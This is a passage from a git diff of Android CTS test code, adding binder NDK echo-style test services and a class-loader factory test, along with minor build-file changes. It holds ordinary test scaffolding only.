+            Assert.assertArrayEquals(value, mInterface.RepeatNullableByteArray(value));
+        }
+        {
+            char[] emptyValue = {};
+            char[] value = {'h', 'a', '!'};
+            Assert.assertArrayEquals(null, mInterface.RepeatNullableCharArray(null));
+            Assert.assertArrayEquals(emptyValue, mInterface.RepeatNullableCharArray(emptyValue));
+            Assert.assertArrayEquals(value, mInterface.RepeatNullableCharArray(value));
+        }
+        {
+            int[] emptyValue = {};
+            int[] value = {1, 2, 3};
+            Assert.assertArrayEquals(null, mInterface.RepeatNullableIntArray(null));
+            Assert.assertArrayEquals(emptyValue, mInterface.RepeatNullableIntArray(emptyValue));
+            Assert.assertArrayEquals(value, mInterface.RepeatNullableIntArray(value));
+        }
+        {
+            long[] emptyValue = {};
+            long[] value = {1, 2, 3};
+            Assert.assertArrayEquals(null, mInterface.RepeatNullableLongArray(null));
+            Assert.assertArrayEquals(emptyValue, mInterface.RepeatNullableLongArray(emptyValue));
+            Assert.assertArrayEquals(value, mInterface.RepeatNullableLongArray(value));
+        }
+        {
+            float[] emptyValue = {};
+            float[] value = {1.0f, 2.0f, 3.0f};
+            Assert.assertArrayEquals(null, mInterface.RepeatNullableFloatArray(null), 0.0f);
+            Assert.assertArrayEquals(emptyValue, mInterface.RepeatNullableFloatArray(emptyValue), 0.0f);
+            Assert.assertArrayEquals(value, mInterface.RepeatNullableFloatArray(value), 0.0f);
+        }
+        {
+            double[] emptyValue = {};
+            double[] value = {1.0, 2.0, 3.0};
+            Assert.assertArrayEquals(null, mInterface.RepeatNullableDoubleArray(null), 0.0);
+            Assert.assertArrayEquals(emptyValue, mInterface.RepeatNullableDoubleArray(emptyValue), 0.0);
+            Assert.assertArrayEquals(value, mInterface.RepeatNullableDoubleArray(value), 0.0);
+        }
+        {
+            String[] emptyValue = {};
+            String[] value = {"", "aoeu", null, "brb"};
+            Assert.assertArrayEquals(null, mInterface.RepeatNullableStringArray(null));
+            Assert.assertArrayEquals(emptyValue, mInterface.RepeatNullableStringArray(emptyValue));
+            Assert.assertArrayEquals(value, mInterface.RepeatNullableStringArray(value));
+        }
+        {
+            String[] emptyValue = {};
+            String[] value = {"", "aoeu", null, "brb"};
+            String[] out1 = new String[value.length];
+            String[] out2 = mInterface.DoubleRepeatNullableStringArray(value, out1);
+
+            Assert.assertArrayEquals(value, out1);
+            Assert.assertArrayEquals(value, out2);
+        }
+    }
+
+    @Test
+    public void testGetLastItem() throws RemoteException {
+        Foo foo = new Foo();
+        foo.d = new Bar();
+        foo.e = new Bar();
+        foo.f = 15;
+
+        assertEquals(foo.f, mInterface.getF(foo));
+    }
+
+    @Test
+    public void testRepeatFoo() throws RemoteException {
+        Foo foo = new Foo();
+
+        foo.a = "NEW FOO";
+        foo.b = 57;
+
+        foo.d = new Bar();
+        foo.d.b = "a";
+
+        foo.e = new Bar();
+        foo.e.d = 99;
+
+        Foo repeatedFoo = mInterface.repeatFoo(foo);
+
+        assertEquals(foo.a, repeatedFoo.a);
+        assertEquals(foo.b, repeatedFoo.b);
+        assertEquals(foo.d.b, repeatedFoo.d.b);
+        assertEquals(foo.e.d, repeatedFoo.e.d);
+    }
+
+    @Test
+    public void testRenameFoo() throws RemoteException {
+        Foo foo = new Foo();
+        foo.d = new Bar();
+        foo.e = new Bar();
+        mInterface.renameFoo(foo, "MYFOO");
+        assertEquals("MYFOO", foo.a);
+    }
+    @Test
+    public void testRenameBar() throws RemoteException {
+        Foo foo = new Foo();
+        foo.d = new Bar();
+        foo.e = new Bar();
+        mInterface.renameBar(foo, "MYBAR");
+        assertEquals("MYBAR", foo.d.a);
+    }
+}
diff --git a/tests/tests/binder_ndk/src/android/binder/cts/JavaService.java b/tests/tests/binder_ndk/src/android/binder/cts/JavaService.java
new file mode 100644
index 0000000..da7c404
--- /dev/null
+++ b/tests/tests/binder_ndk/src/android/binder/cts/JavaService.java
@@ -0,0 +1,41 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.binder.cts;
+
+import android.app.Service;
+
+import android.content.Intent;
+
+import android.os.IBinder;
+
+import android.util.Log;
+
+public class JavaService extends Service {
+    private final String TAG = "JavaService";
+
+    // the configuration of these services is done in AndroidManifest.xml
+    public static class Local extends JavaService {}
+    public static class Remote extends JavaService {}
+
+    @Override
+    public IBinder onBind(Intent intent) {
+        Log.i(TAG, "Binding service");
+        return mBinder;
+    }
+
+    private final TestImpl mBinder = new TestImpl();
+}
diff --git a/tests/tests/binder_ndk/src/android/binder/cts/NativeService.java b/tests/tests/binder_ndk/src/android/binder/cts/NativeService.java
new file mode 100644
index 0000000..30503e3
--- /dev/null
+++ b/tests/tests/binder_ndk/src/android/binder/cts/NativeService.java
@@ -0,0 +1,54 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.binder.cts;
+
+import android.app.Service;
+
+import android.content.Intent;
+
+import android.os.IBinder;
+
+import android.util.Log;
+
+public class NativeService extends Service {
+    private final String TAG = "NativeService";
+    private final IBinder mBinder;
+
+    private NativeService() {
+        this("binder_ndk_test_interface_new");
+    }
+
+    private NativeService(String libName) {
+        System.loadLibrary(libName);
+        mBinder = getBinder_native();
+    }
+
+    // the configuration of these services is done in AndroidManifest.xml
+    public static class Local extends NativeService {}
+    public static class Remote extends NativeService {}
+    public static class RemoteOld extends NativeService {
+        public RemoteOld() { super("binder_ndk_test_interface_old"); }
+    }
+
+    @Override
+    public IBinder onBind(Intent intent) {
+        Log.i(TAG, "Binding service");
+        return mBinder;
+    }
+
+    private native IBinder getBinder_native();
+}
diff --git a/tests/tests/binder_ndk/src/android/binder/cts/NdkBinderTest.java b/tests/tests/binder_ndk/src/android/binder/cts/NdkBinderTest.java
new file mode 100644
index 0000000..9bc65ee
--- /dev/null
+++ b/tests/tests/binder_ndk/src/android/binder/cts/NdkBinderTest.java
@@ -0,0 +1,61 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.binder.cts;
+
+import android.os.IBinder;
+
+import android.support.test.InstrumentationRegistry;
+
+import com.android.gtestrunner.GtestRunner;
+import com.android.gtestrunner.TargetLibrary;
+
+import test_package.ITest;
+
+import org.junit.runner.RunWith;
+
+/**
+ * This test runs gtests for testing libbinder_ndk directly and it also runs client tests for native code.
+ */
+@RunWith(GtestRunner.class)
+@TargetLibrary("binder_ndk_test")
+public class NdkBinderTest {
+    static IBinder getLocalNativeService() {
+        return new SyncTestServiceConnection(
+            InstrumentationRegistry.getTargetContext(), NativeService.Local.class)
+        .get().asBinder();
+    }
+    static IBinder getLocalJavaService() {
+        return new SyncTestServiceConnection(
+            InstrumentationRegistry.getTargetContext(), JavaService.Local.class)
+        .get().asBinder();
+    }
+    static IBinder getRemoteNativeService() {
+        return new SyncTestServiceConnection(
+            InstrumentationRegistry.getTargetContext(), NativeService.Remote.class)
+        .get().asBinder();
+    }
+    static IBinder getRemoteJavaService() {
+        return new SyncTestServiceConnection(
+            InstrumentationRegistry.getTargetContext(), JavaService.Remote.class)
+        .get().asBinder();
+    }
+    static IBinder getRemoteOldNativeService() {
+        return new SyncTestServiceConnection(
+            InstrumentationRegistry.getTargetContext(), NativeService.RemoteOld.class)
+        .get().asBinder();
+    }
+}
diff --git a/tests/tests/binder_ndk/src/android/binder/cts/SyncTestServiceConnection.java b/tests/tests/binder_ndk/src/android/binder/cts/SyncTestServiceConnection.java
new file mode 100644
index 0000000..d522c56
--- /dev/null
+++ b/tests/tests/binder_ndk/src/android/binder/cts/SyncTestServiceConnection.java
@@ -0,0 +1,78 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.binder.cts;
+
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.content.ServiceConnection;
+
+import android.os.IBinder;
+
+import android.util.Log;
+
+import test_package.ITest;
+
+/**
+ * This enables connecting to a service synchronously easily for testing purposes.
+ */
+public class SyncTestServiceConnection implements ServiceConnection {
+    private final String TAG = "SyncServiceConnection";
+
+    private Class mServiceProviderClass;
+    private Context mContext;
+
+    private ITest mInterface;
+    private boolean mInvalid = false;  // if the service has disconnected abrubtly
+
+    public SyncTestServiceConnection(Context context, Class serviceClass) {
+        mContext = context;
+        mServiceProviderClass = serviceClass;
+    }
+
+    public void onServiceConnected(ComponentName className, IBinder service) {
+        synchronized (this) {
+            mInterface = ITest.Stub.asInterface(service);
+            Log.e(TAG, "Service has connected: " + mServiceProviderClass);
+            this.notify();
+        }
+    }
+
+    public void onServiceDisconnected(ComponentName className) {
+        Log.e(TAG, "Service has disconnected: " + mServiceProviderClass);
+        synchronized (this) {
+            mInterface = null;
+            mInvalid = true;
+            this.notify();
+        }
+    }
+
+    ITest get() {
+        synchronized(this) {
+            if (!mInvalid && mInterface == null) {
+                Intent intent = new Intent(mContext, mServiceProviderClass);
+                intent.setAction(ITest.class.getName());
+                mContext.bindService(intent, this, Context.BIND_AUTO_CREATE);
+
+                try {
+                    this.wait(5000);
+                } catch (InterruptedException e) {}
+            }
+        }
+        return mInterface;
+    }
+}
diff --git a/tests/tests/binder_ndk/src/android/binder/cts/TestImpl.java b/tests/tests/binder_ndk/src/android/binder/cts/TestImpl.java
new file mode 100644
index 0000000..168ee9e
--- /dev/null
+++ b/tests/tests/binder_ndk/src/android/binder/cts/TestImpl.java
@@ -0,0 +1,308 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.binder.cts;
+
+import android.os.Binder;
+import android.os.IBinder;
+import android.os.ParcelFileDescriptor;
+import android.os.RemoteException;
+
+import test_package.IEmpty;
+import test_package.ITest;
+import test_package.RegularPolygon;
+import test_package.Foo;
+import test_package.Bar;
+
+import java.util.concurrent.CountDownLatch;
+
+public class TestImpl extends ITest.Stub {
+  @Override
+  public int getInterfaceVersion() { return TestImpl.VERSION; }
+
+  @Override
+  public String GetName() {
+    return "JAVA";
+  }
+
+  @Override
+  public void TestVoidReturn() {}
+
+  @Override
+  public void TestOneway() {}
+
+  @Override
+  public int GiveMeMyCallingPid() {
+    return Binder.getCallingPid();
+  }
+
+  @Override
+  public int GiveMeMyCallingUid() {
+    return Binder.getCallingUid();
+  }
+
+  private CountDownLatch mCachedLatch = new CountDownLatch(1);
+  private int mCachedPid = -1;
+  private int mCachedUid = -1;
+
+  private void waitForCachedOnewayInfo() {
+    try {
+      mCachedLatch.await();
+    } catch (InterruptedException e) {
+      // This thread is never expected to be interrupted during this test. This will be
+      // converted to a RemoteException on the other side and cause the test to fail.
+
+      throw new RuntimeException(e.toString());
+    }
+  }
+
+  @Override
+  public void CacheCallingInfoFromOneway() {
+    mCachedLatch.countDown();
+    mCachedPid = Binder.getCallingPid();
+    mCachedUid = Binder.getCallingUid();
+  }
+
+  @Override
+  public int GiveMeMyCallingPidFromOneway() {
+    waitForCachedOnewayInfo();
+    return mCachedPid;
+  }
+
+  @Override
+  public int GiveMeMyCallingUidFromOneway() {
+    waitForCachedOnewayInfo();
+    return mCachedUid;
+  }
+
+  @Override
+  public int RepeatInt(int in_value) {
+    return in_value;
+  }
+
+  @Override
+  public long RepeatLong(long in_value) {
+    return in_value;
+  }
+
+  @Override
+  public float RepeatFloat(float in_value) {
+    return in_value;
+  }
+
+  @Override
+  public double RepeatDouble(double in_value) {
+    return in_value;
+  }
+
+  @Override
+  public boolean RepeatBoolean(boolean in_value) {
+    return in_value;
+  }
+
+  @Override
+  public char RepeatChar(char in_value) {
+    return in_value;
+  }
+
+  @Override
+  public byte RepeatByte(byte in_value) {
+    return in_value;
+  }
+
+  @Override
+  public IBinder RepeatBinder(IBinder in_value) {
+    return in_value;
+  }
+
+  @Override
+  public IBinder RepeatNullableBinder(IBinder in_value) {
+    return in_value;
+  }
+
+  @Override
+  public IEmpty RepeatInterface(IEmpty in_value) {
+    return in_value;
+  }
+
+  @Override
+  public IEmpty RepeatNullableInterface(IEmpty in_value) {
+    return in_value;
+  }
+
+  @Override
+  public ParcelFileDescriptor RepeatFd(ParcelFileDescriptor in_value) {
+    return in_value;
+  }
+
+  @Override
+  public ParcelFileDescriptor RepeatNullableFd(ParcelFileDescriptor in_value) {
+    return in_value;
+  }
+
+  @Override
+  public String RepeatString(String in_value) {
+    return in_value;
+  }
+
+  @Override
+  public String RepeatNullableString(String in_value) {
+    return in_value;
+  }
+
+  @Override
+  public RegularPolygon RepeatPolygon(RegularPolygon in_value) {
+    return in_value;
+  }
+
+  @Override
+  public void RenamePolygon(RegularPolygon value, String name) {
+    value.name = name;
+  }
+
+  @Override
+  public boolean[] RepeatBooleanArray(boolean[] in_value, boolean[] repeated) {
+    System.arraycopy(in_value, 0, repeated, 0, in_value.length);
+    return in_value;
+  }
+
+  @Override
+  public byte[] RepeatByteArray(byte[] in_value, byte[] repeated) {
+    System.arraycopy(in_value, 0, repeated, 0, in_value.length);
+    return in_value;
+  }
+
+  @Override
+  public char[] RepeatCharArray(char[] in_value, char[] repeated) {
+    System.arraycopy(in_value, 0, repeated, 0, in_value.length);
+    return in_value;
+  }
+
+  @Override
+  public int[] RepeatIntArray(int[] in_value, int[] repeated) {
+    System.arraycopy(in_value, 0, repeated, 0, in_value.length);
+    return in_value;
+  }
+
+  @Override
+  public long[] RepeatLongArray(long[] in_value, long[] repeated) {
+    System.arraycopy(in_value, 0, repeated, 0, in_value.length);
+    return in_value;
+  }
+
+  @Override
+  public float[] RepeatFloatArray(float[] in_value, float[] repeated) {
+    System.arraycopy(in_value, 0, repeated, 0, in_value.length);
+    return in_value;
+  }
+
+  @Override
+  public double[] RepeatDoubleArray(double[] in_value, double[] repeated) {
+    System.arraycopy(in_value, 0, repeated, 0, in_value.length);
+    return in_value;
+  }
+
+  @Override
+  public String[] RepeatStringArray(String[] in_value, String[] repeated) {
+    System.arraycopy(in_value, 0, repeated, 0, in_value.length);
+    return in_value;
+  }
+
+  @Override
+  public RegularPolygon[] RepeatRegularPolygonArray(RegularPolygon[] in_value, RegularPolygon[] repeated) {
+    System.arraycopy(in_value, 0, repeated, 0, in_value.length);
+    return in_value;
+  }
+
+  @Override
+  public boolean[] RepeatNullableBooleanArray(boolean[] in_value) {
+    return in_value;
+  }
+
+  @Override
+  public byte[] RepeatNullableByteArray(byte[] in_value) {
+    return in_value;
+  }
+
+  @Override
+  public char[] RepeatNullableCharArray(char[] in_value) {
+    return in_value;
+  }
+
+  @Override
+  public int[] RepeatNullableIntArray(int[] in_value) {
+    return in_value;
+  }
+
+  @Override
+  public long[] RepeatNullableLongArray(long[] in_value) {
+    return in_value;
+  }
+
+  @Override
+  public float[] RepeatNullableFloatArray(float[] in_value) {
+    return in_value;
+  }
+
+  @Override
+  public double[] RepeatNullableDoubleArray(double[] in_value) {
+    return in_value;
+  }
+
+  @Override
+  public String[] RepeatNullableStringArray(String[] in_value) {
+    return in_value;
+  }
+
+  @Override
+  public String[] DoubleRepeatNullableStringArray(String[] in_value, String[] repeated) {
+    if (in_value == null) {
+      return null; // can't do anything to repeated
+    }
+
+    System.arraycopy(in_value, 0, repeated, 0, in_value.length);
+    return in_value;
+  }
+
+  @Override
+  public int NewMethodThatReturns10() {
+    return 10;
+  }
+
+  @Override
+  public Foo repeatFoo(Foo inFoo) {
+    return inFoo;
+  }
+
+  @Override
+  public void renameFoo(Foo foo, String name) {
+    foo.a = name;
+  }
+
+  @Override
+  public void renameBar(Foo foo, String name) {
+    if (foo.d == null) {
+      foo.d = new Bar();
+    }
+    foo.d.a = name;
+  }
+
+  @Override
+  public int getF(Foo foo) {
+    return foo.f;
+  }
+
+}
diff --git a/tests/tests/bionic/Android.build.copy.libs.mk b/tests/tests/bionic/Android.build.copy.libs.mk
index 13d499a..a1bd707 100644
--- a/tests/tests/bionic/Android.build.copy.libs.mk
+++ b/tests/tests/bionic/Android.build.copy.libs.mk
@@ -16,6 +16,8 @@
   dt_runpath_b_c_x/libtest_dt_runpath_b.so \
   dt_runpath_b_c_x/libtest_dt_runpath_c.so \
   dt_runpath_b_c_x/libtest_dt_runpath_x.so \
+  exec_linker_helper/exec_linker_helper \
+  exec_linker_helper_lib.so \
   inaccessible_libs/libtestshared.so \
   inaccessible_libs/libtestshared.so \
   ld_config_test_helper/ld_config_test_helper \
@@ -73,6 +75,7 @@
   libtest_dlsym_weak_func.so \
   libtest_dt_runpath_d.so \
   libtest_empty.so \
+  libtest_indirect_thread_local_dtor.so \
   libtest_init_fini_order_child.so \
   libtest_init_fini_order_grand_child.so \
   libtest_init_fini_order_root.so \
@@ -86,6 +89,7 @@
   libtest_relo_check_dt_needed_order_2.so \
   libtest_simple.so \
   libtest_thread_local_dtor.so \
+  libtest_thread_local_dtor2.so \
   libtest_two_parents_child.so \
   libtest_two_parents_parent1.so \
   libtest_two_parents_parent2.so \
diff --git a/tests/tests/calendarcommon/Android.mk b/tests/tests/calendarcommon/Android.mk
index bfd9f26..fd97621 100644
--- a/tests/tests/calendarcommon/Android.mk
+++ b/tests/tests/calendarcommon/Android.mk
@@ -32,6 +32,7 @@
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
 LOCAL_SDK_VERSION := current
+LOCAL_MIN_SDK_VERSION := 15
 
 # Tag this module as a cts test artifact
 LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
diff --git a/tests/tests/carrierapi/Android.mk b/tests/tests/carrierapi/Android.mk
index 3386907..2215b88 100644
--- a/tests/tests/carrierapi/Android.mk
+++ b/tests/tests/carrierapi/Android.mk
@@ -44,4 +44,10 @@
 # environment.
 LOCAL_CERTIFICATE := build/make/target/product/security/testkey
 
+# This APK must be signed to match the test SIM's cert whitelist.
+# While "testkey" is the default, there are different per-device testkeys, so
+# hard-code the AOSP default key to ensure it is used regardless of build
+# environment.
+LOCAL_CERTIFICATE := build/make/target/product/security/testkey
+
 include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/carrierapi/src/android/carrierapi/cts/NetworkScanApiTest.java b/tests/tests/carrierapi/src/android/carrierapi/cts/NetworkScanApiTest.java
index 77d2f82..9d7bc93 100644
--- a/tests/tests/carrierapi/src/android/carrierapi/cts/NetworkScanApiTest.java
+++ b/tests/tests/carrierapi/src/android/carrierapi/cts/NetworkScanApiTest.java
@@ -178,8 +178,6 @@
             Log.d(TAG, "onError: " + String.valueOf(error));
             mNetworkScanStatus = EVENT_NETWORK_SCAN_ERROR;
             mErrorCode = error;
-            Log.d(TAG, "Stop the network scan");
-            mNetworkScan.stopScan();
             setReady(true);
         }
     }
diff --git a/tests/tests/classloaderfactory/Android.bp b/tests/tests/classloaderfactory/Android.bp
new file mode 100644
index 0000000..57f1c27
--- /dev/null
+++ b/tests/tests/classloaderfactory/Android.bp
@@ -0,0 +1,22 @@
+// Copyright (C) 2018 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+java_library_static {
+    name: "CtsClassLoaderFactoryTestCasesSecondaryDex",
+    srcs: [
+        "src-ex/**/*.java",
+    ],
+    installable: false,
+    compile_dex: true,
+}
diff --git a/tests/tests/classloaderfactory/Android.mk b/tests/tests/classloaderfactory/Android.mk
new file mode 100644
index 0000000..347fe67
--- /dev/null
+++ b/tests/tests/classloaderfactory/Android.mk
@@ -0,0 +1,29 @@
+# Copyright (C) 2018 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+# Copy secondary APK to CTS target directory.
+include $(CLEAR_VARS)
+LOCAL_MODULE := cts-classloaderfactory-secondary-jar
+LOCAL_MODULE_STEM := classloaderfactory-secondary.jar
+LOCAL_MODULE_CLASS := ETC
+LOCAL_MODULE_PATH = $(TARGET_OUT_TESTCASES)
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+include $(BUILD_SYSTEM)/base_rules.mk
+my_secondary_apk_src := $(call intermediates-dir-for,JAVA_LIBRARIES,CtsClassLoaderFactoryTestCasesSecondaryDex,,COMMON)/javalib.jar
+$(eval $(call copy-one-file,$(my_secondary_apk_src),$(LOCAL_BUILT_MODULE)))
+my_secondary_apk_src :=
+
+include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/tests/tests/classloaderfactory/base_test.mk b/tests/tests/classloaderfactory/base_test.mk
new file mode 100644
index 0000000..33df573
--- /dev/null
+++ b/tests/tests/classloaderfactory/base_test.mk
@@ -0,0 +1,36 @@
+# Copyright (C) 2018 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_SDK_VERSION := test_current
+
+# don't include this package in any target
+LOCAL_MODULE_TAGS := optional
+
+# and when built explicitly put it in the data partition
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
+
+LOCAL_STATIC_JAVA_LIBRARIES := \
+    ctstestrunner \
+    android-support-test \
+    junit
+
+LOCAL_SRC_FILES := $(call all-java-files-under, ../src)
+
+LOCAL_ADDITIONAL_DEPENDENCIES += \
+    $(TARGET_OUT_TESTCASES)/classloaderfactory-secondary.jar
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+
+include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/classloaderfactory/src-ex/android/app/classloaderfactory/cts/MyActivity.java b/tests/tests/classloaderfactory/src-ex/android/app/classloaderfactory/cts/MyActivity.java
new file mode 100644
index 0000000..108e933
--- /dev/null
+++ b/tests/tests/classloaderfactory/src-ex/android/app/classloaderfactory/cts/MyActivity.java
@@ -0,0 +1,20 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file
+ * except in compliance with the License. You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software distributed under the
+ * License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
+ * KIND, either express or implied. See the License for the specific language governing
+ * permissions and limitations under the License.
+ */
+
+package android.app.classloaderfactory.cts;
+
+import android.app.Activity;
+
+public class MyActivity extends Activity {
+}
diff --git a/tests/tests/classloaderfactory/src-ex/android/app/classloaderfactory/cts/MyApplication.java b/tests/tests/classloaderfactory/src-ex/android/app/classloaderfactory/cts/MyApplication.java
new file mode 100644
index 0000000..1ca2593
--- /dev/null
+++ b/tests/tests/classloaderfactory/src-ex/android/app/classloaderfactory/cts/MyApplication.java
@@ -0,0 +1,20 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file
+ * except in compliance with the License. You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software distributed under the
+ * License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
+ * KIND, either express or implied. See the License for the specific language governing
+ * permissions and limitations under the License.
+ */
+
+package android.app.classloaderfactory.cts;
+
+import android.app.Application;
+
+public class MyApplication extends Application {
+}
diff --git a/tests/tests/classloaderfactory/src/android/app/classloaderfactory/cts/AppComponentFactoryTest.java b/tests/tests/classloaderfactory/src/android/app/classloaderfactory/cts/AppComponentFactoryTest.java
new file mode 100644
index 0000000..386a2e8
--- /dev/null
+++ b/tests/tests/classloaderfactory/src/android/app/classloaderfactory/cts/AppComponentFactoryTest.java
@@ -0,0 +1,57 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file
+ * except in compliance with the License. You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software distributed under the
+ * License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
+ * KIND, either express or implied. See the License for the specific language governing
+ * permissions and limitations under the License.
+ */
+
+package android.app.classloaderfactory.cts;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotEquals;
+
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.runner.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+public class AppComponentFactoryTest {
+    public static final String SECONDARY_APK_PATH =
+            "/data/local/tmp/classloaderfactory-test/secondary.jar";
+    private static final String CLASS_PACKAGE_NAME =
+            AppComponentFactoryTest.class.getPackage().getName();
+
+    private final Context mContext = InstrumentationRegistry.getContext();
+
+    @Test
+    public void testApplication() {
+        // Test that application context is MyApplication class from the secondary APK.
+        // The assertion fails if framework did not use the custom class loader.
+        assertEquals(mContext.getApplicationContext().getClass().getName(),
+                CLASS_PACKAGE_NAME + ".MyApplication");
+        assertNotEquals(mContext.getApplicationContext().getClass().getClassLoader(),
+                AppComponentFactoryTest.class.getClassLoader());
+    }
+
+    @Test
+    public void testActivity() {
+        // Start MyActivity from the secondary APK. This will throw ActivityNotFoundException
+        // if framework does not use the custom class loader.
+        mContext.startActivity(new Intent()
+                .setComponent(new ComponentName(mContext.getPackageName(),
+                        CLASS_PACKAGE_NAME + ".MyActivity"))
+                .addFlags(Intent.FLAG_ACTIVITY_NEW_TASK));
+    }
+}
diff --git a/tests/tests/classloaderfactory/src/android/app/classloaderfactory/cts/InMemoryDexClassLoaderFactory.java b/tests/tests/classloaderfactory/src/android/app/classloaderfactory/cts/InMemoryDexClassLoaderFactory.java
new file mode 100644
index 0000000..ad6b536
--- /dev/null
+++ b/tests/tests/classloaderfactory/src/android/app/classloaderfactory/cts/InMemoryDexClassLoaderFactory.java
@@ -0,0 +1,72 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file
+ * except in compliance with the License. You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software distributed under the
+ * License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
+ * KIND, either express or implied. See the License for the specific language governing
+ * permissions and limitations under the License.
+ */
+
+package android.app.classloaderfactory.cts;
+
+import android.app.AppComponentFactory;
+import dalvik.system.InMemoryDexClassLoader;
+import java.io.InputStream;
+import java.nio.ByteBuffer;
+import java.util.ArrayList;
+import java.util.zip.ZipEntry;
+import java.util.zip.ZipFile;
+
+// AppComponentFactory which sets up InMemoryDexClassLoader as the main class
+// loader of the process.
